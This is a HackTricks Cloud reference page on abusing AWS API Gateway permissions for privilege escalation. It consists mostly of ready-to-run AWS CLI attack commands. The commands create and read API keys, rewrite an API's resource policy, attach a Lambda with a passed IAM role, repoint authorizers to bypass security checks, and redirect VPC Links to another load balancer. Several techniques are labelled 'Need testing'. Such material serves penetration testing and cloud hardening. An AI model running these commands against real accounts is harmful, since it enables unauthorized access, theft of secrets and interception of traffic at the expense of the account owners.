HackTricks Cloud
HackTricks Cloud
Ask or search…
⌃K
Links

AWS - Apigateway Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:

Apigateway

For more information check:

apigateway:POST

With this permission you can generate API keys of the APIs configured (per region).
aws --region <region> apigateway create-api-key
Potential Impact: You cannot privesc with this technique but you might get access to sensitive info.

apigateway:GET

With this permission you can get generated API keys of the APIs configured (per region).
aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Potential Impact: You cannot privesc with this technique but you might get access to sensitive info.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Potential Impact: You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Need testing
An attacker with the permissions apigateway:PutIntegration, apigateway:CreateDeployment, and iam:PassRole can add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached. The attacker can then trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
​
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
​
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: Access to resources associated with the Lambda function's IAM role.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Need testing
An attacker with the permissions apigateway:UpdateAuthorizer and apigateway:CreateDeployment can modify an existing API Gateway authorizer to bypass security checks or to execute arbitrary code when API requests are made.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
​
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
​
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: Bypassing security checks, unauthorized access to API resources.
Need testing
An attacker with the permission apigateway:UpdateVpcLink can modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources.
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
​
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Potential Impact: Unauthorized access to private API resources, interception or disruption of API traffic.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks: